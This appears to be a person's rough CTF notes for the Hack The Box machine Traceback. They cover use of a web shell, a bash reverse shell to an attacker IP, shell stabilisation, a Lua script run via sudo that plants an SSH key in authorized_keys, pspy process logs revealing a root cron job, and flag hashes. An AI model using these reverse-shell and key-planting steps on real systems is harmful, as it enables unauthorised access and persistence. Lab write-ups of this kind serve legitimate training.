

Lin: Traceback

Ports 20,80

fuzzing , directory busting --> doesnt work
hint from the comment in the website page source

<http://10.10.10.181/smevk.php>

Linux enum findings

use this to get shell
bash -c 'bash -i >& /dev/tcp/10.10.14.33/9999 0>&1'

make it fully interactive

```
python3 -c 'import pty; pty.spawn("/bin/bash");'
```

to have auto complete

CTRL^Z

stty raw -echo

fg

Enter

Enter

to be able to clear

echo \$TERM —> inside your shell , lets say you get screen

export TERM=screen

to edit with nano and vi

// get the number of ROWS and Columns , example 34 , 126

stty -a

//in ur shell (exploited one)

stty rows 34 cols 136

upload your public keys to the authorized keys in the /home/sysadmin/.ssh/authorized_keys

```
root@kali:~/.ssh# cat id_rsa.pub
```

```
nano ahmed.lua
```

```
local test = io.open("/home/sysadmin/.ssh/authorized_keys", "a")
```

```
test:write("ssh-rsa
```

```
AAAAB3NzaC1yc2EAAAADAQABAAQGC2QmqwomSxNklc4DIwaS9RHU3TMrhYSiplsvERAbI
```

```
2bgLLKtB9ued+EQTS5uvESIGLSIVIX2IFbE3kuQ5W1ANuDg1/
```

```
k5JBOUejvobjXUOmM9upKbu60mQpUGTtgOG+RtioRPqrz5SiQEwXxtDZTkePz/
```

```
rDzNaZR+u8aNhhcXXZiA3Sa/A2YaB/Ux1zGMtWaVc2LvMTRQL/1LpfK4gUFIRrQLomo/
```

```
0USoRfeKjOI3STRQS4JH+qAlxsEhQHjyMFujnzbWfhjKjqLRLr9ndEQ6jlvVp1IWpQW01ghmEH
```

```
Qz8LRj/lD5BMBb3dl/8SoTsAO/abTf+gO9zzSe7bq0r8zkRufd5cVKz3Cj7/1tINxeTbPTZFeytD13/
```

```
qvhNA/AnDMW00FPROaqpVkvEQ8IFI5VyYIYE6y3AM1ISc/NQoCwAKKr4JH8OxK/
```

```
5iHH7iDnBfwETraH4+ZI9cOh/
```

```
hyDfjmUdDWJfKtN+S3oxr+eU5Kk7Fvyrrq5qEooZpRdVNZeC79s= root@kali\n")
```

```
test:close()
```

sudo -u sysadmin ./luvit ahmed.lua --> this will write ur public key in the authorized keys

ssh -i id_rsa sysadmin@10.10.10.181
ssh -i /root/.ssh/id_rsa sysadmin@10.10.10.181

c24349701ae38c33ffbf0cceb2c46020

download pspy (process monitor)

```
sysadmin@traceback:/tmp/ahmed/10.10.14.33:8000 140x37
2020/03/15 01:42:31 CMD: UID=0 PID=136 |
2020/03/15 01:42:31 CMD: UID=0 PID=13 |
2020/03/15 01:42:31 CMD: UID=0 PID=12 |
2020/03/15 01:42:31 CMD: UID=0 PID=119 |
2020/03/15 01:42:31 CMD: UID=0 PID=110 |
2020/03/15 01:42:31 CMD: UID=0 PID=11 |
2020/03/15 01:42:31 CMD: UID=0 PID=104 |
2020/03/15 01:42:31 CMD: UID=0 PID=103 |
2020/03/15 01:42:31 CMD: UID=1001 PID=1027 | /bin/bash
2020/03/15 01:42:31 CMD: UID=1001 PID=1026 | python3 -c import pty; pty.spawn("/bin/bash");
2020/03/15 01:42:31 CMD: UID=0 PID=102 |
2020/03/15 01:42:31 CMD: UID=1001 PID=1010 | -sh
2020/03/15 01:42:31 CMD: UID=0 PID=101 |
2020/03/15 01:42:31 CMD: UID=1001 PID=1007 | sshd: sysadmin@pts/1
2020/03/15 01:42:31 CMD: UID=0 PID=100 |
2020/03/15 01:42:31 CMD: UID=0 PID=10 |
2020/03/15 01:42:31 CMD: UID=0 PID=1 | /sbin/init noprompt
2020/03/15 01:42:31 CMD: UID=0 PID=37639 | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/b
ackups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/
2020/03/15 01:43:01 CMD: UID=0 PID=37646 | sleep 30
2020/03/15 01:43:01 CMD: UID=0 PID=37644 | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
2020/03/15 01:43:01 CMD: UID=??? PID=37641 | ???
2020/03/15 01:43:01 CMD: UID=0 PID=37640 | /usr/sbin/CRON -f
```

```
sysadmin@traceback:/tmp/ahmed/10.10.14.33:8000 140x37
2020/03/15 01:57:07 CMD: UID=1001 PID=1026 | python3 -c import pty; pty.spawn("/bin/bash");
2020/03/15 01:57:07 CMD: UID=0 PID=102 |
2020/03/15 01:57:07 CMD: UID=1001 PID=1010 | -sh
2020/03/15 01:57:07 CMD: UID=0 PID=101 |
2020/03/15 01:57:07 CMD: UID=1001 PID=1007 | sshd: sysadmin@pts/1
2020/03/15 01:57:07 CMD: UID=0 PID=100 |
2020/03/15 01:57:07 CMD: UID=0 PID=10 |
2020/03/15 01:57:07 CMD: UID=0 PID=1 | /sbin/init noprompt
2020/03/15 01:57:31 CMD: UID=0 PID=37838 | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/b
ackups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/
2020/03/15 01:57:34 CMD: UID=0 PID=37839 | /usr/sbin/sshd -D -R
2020/03/15 01:57:34 CMD: UID=106 PID=37840 | sshd: [net]
2020/03/15 01:57:35 CMD: UID=0 PID=37842 |
2020/03/15 01:57:35 CMD: UID=0 PID=37841 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-p
arts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2020/03/15 01:57:35 CMD: UID=0 PID=37844 | run-parts --lsbsysinit /etc/update-motd.d
2020/03/15 01:57:35 CMD: UID=0 PID=37849 | /bin/sh /etc/update-motd.d/50-motd-news
2020/03/15 01:57:35 CMD: UID=0 PID=37845 | /bin/sh /etc/update-motd.d/50-motd-news
2020/03/15 01:57:35 CMD: UID=0 PID=37851 | /usr/bin/python3 -Es /usr/bin/lsb_release -cs
2020/03/15 01:57:35 CMD: UID=0 PID=37850 | /bin/sh /etc/update-motd.d/80-esm
2020/03/15 01:57:35 CMD: UID=0 PID=37852 | /usr/bin/python3 -Es /usr/bin/lsb_release -ds
2020/03/15 01:57:35 CMD: UID=0 PID=37853 | /bin/sh /etc/update-motd.d/91-release-upgrade
2020/03/15 01:57:35 CMD: UID=0 PID=37856 | cut -d -f4
2020/03/15 01:57:35 CMD: UID=0 PID=37855 | /usr/bin/python3 -Es /usr/bin/lsb_release -sd
2020/03/15 01:57:35 CMD: UID=0 PID=37854 | /bin/sh /etc/update-motd.d/91-release-upgrade
2020/03/15 01:57:35 CMD: UID=??? PID=37860 | ???
2020/03/15 01:57:35 CMD: UID=1001 PID=37861 | sshd: sysadmin [priv]
2020/03/15 01:57:35 CMD: UID=1001 PID=37862 | -sh
2020/03/15 01:57:40 CMD: UID=0 PID=37865 |
2020/03/15 01:58:01 CMD: UID=0 PID=37873 | sleep 30
2020/03/15 01:58:01 CMD: UID=0 PID=37872 | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/b
ackups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/
2020/03/15 01:58:01 CMD: UID=0 PID=37871 | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
2020/03/15 01:58:01 CMD: UID=0 PID=37870 | /bin/sh -c /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
2020/03/15 01:58:01 CMD: UID=0 PID=37867 | /usr/sbin/CRON -f
2020/03/15 01:58:01 CMD: UID=0 PID=37866 | /usr/sbin/CRON -f
```

```
2020/03/15 05:47:55 CMD: UID=0 PID=2069 | /usr/bin/python3 -Es /usr/bin/lsb_release -cs
2020/03/15 05:47:55 CMD: UID=0 PID=2068 | /bin/sh /etc/update-motd.d/80-esm
2020/03/15 05:47:55 CMD: UID=0 PID=2060 | run-parts --lsbsysinit /etc/update-motd.d
2020/03/15 05:47:55 CMD: UID=0 PID=2059 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/
local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/
motd.dynamic.new
2020/03/15 05:47:55 CMD: UID=0 PID=2074 | cut -d -f4
```

```

2020/03/15 05:47:55 CMD: UID=0 PID=2073 | /usr/bin/python3 -Es /usr/bin/lsb_release -sd
2020/03/15 05:47:55 CMD: UID=0 PID=2072 | /bin/sh /etc/update-motd.d/91-release-
upgrade
2020/03/15 05:47:55 CMD: UID=0 PID=2071 | /bin/sh /etc/update-motd.d/91-release-upgrade
2020/03/15 05:47:55 CMD: UID=1001 PID=2079 | sshd: sysadmin
2020/03/15 05:47:56 CMD: UID=1001 PID=2080 | -sh
2020/03/15 05:47:58 CMD: UID=1001 PID=2090 | /bin/bash
2020/03/15 05:47:58 CMD: UID=1001 PID=2089 | sh -c /bin/bash
2020/03/15 05:47:58 CMD: UID=1001 PID=2084 | /home/webadmin/luvit /home/webadmin/wam.lua
2020/03/15 05:47:58 CMD: UID=0 PID=2083 | sudo -u sysadmin /home/webadmin/luvit /
home/webadmin/wam.lua
2020/03/15 05:48:01 CMD: UID=0 PID=2096 | sleep 30
2020/03/15 05:48:01 CMD: UID=0 PID=2095 | /bin/sh -c sleep 30 ; /bin/cp /var/
backups/.update-motd.d/* /etc/update-motd.d/
2020/03/15 05:48:01 CMD: UID=0 PID=2093 | /usr/sbin/CRON -f
2020/03/15 05:48:01 CMD: UID=0 PID=2092 | /usr/sbin/CRON -f
2020/03/15 05:48:20 CMD: UID=106 PID=2100 | sshd: [net]
2020/03/15 05:48:20 CMD: UID=0 PID=2099 | sshd: [accepted]
2020/03/15 05:48:22 CMD: UID=0 PID=2109 | cut -c -80
2020/03/15 05:48:22 CMD: UID=0 PID=2108 | tr -d \000-\011\013\014\016-\037
2020/03/15 05:48:22 CMD: UID=0 PID=2107 | head -n 10
2020/03/15 05:48:22 CMD: UID=0 PID=2105 | /bin/sh /etc/update-motd.d/50-motd-news
2020/03/15 05:48:22 CMD: UID=0 PID=2102 | run-parts --lsbsysinit /etc/update-motd.d
2020/03/15 05:48:22 CMD: UID=0 PID=2101 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/
local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/
motd.dynamic.new
2020/03/15 05:48:23 CMD: UID=0 PID=2116 | cut -d -f4
2020/03/15 05:48:23 CMD: UID=0 PID=2115 | /usr/bin/python3 -Es /usr/bin/lsb_release -sd
2020/03/15 05:48:23 CMD: UID=0 PID=2114 | /bin/sh /etc/update-motd.d/91-release-upgrade
2020/03/15 05:48:23 CMD: UID=0 PID=2113 | /bin/sh /etc/update-motd.d/91-release-upgrade
2020/03/15 05:48:23 CMD: UID=1001 PID=2121 | sshd: sysadmin
2020/03/15 05:48:24 CMD: UID=1001 PID=2123 | -sh
2020/03/15 05:48:24 CMD: UID=1001 PID=2122 | vi /var/lib/ubuntu-release-upgrader/release-
upgrade-available

```

ccda9e554daa04f6f56d822a357585d6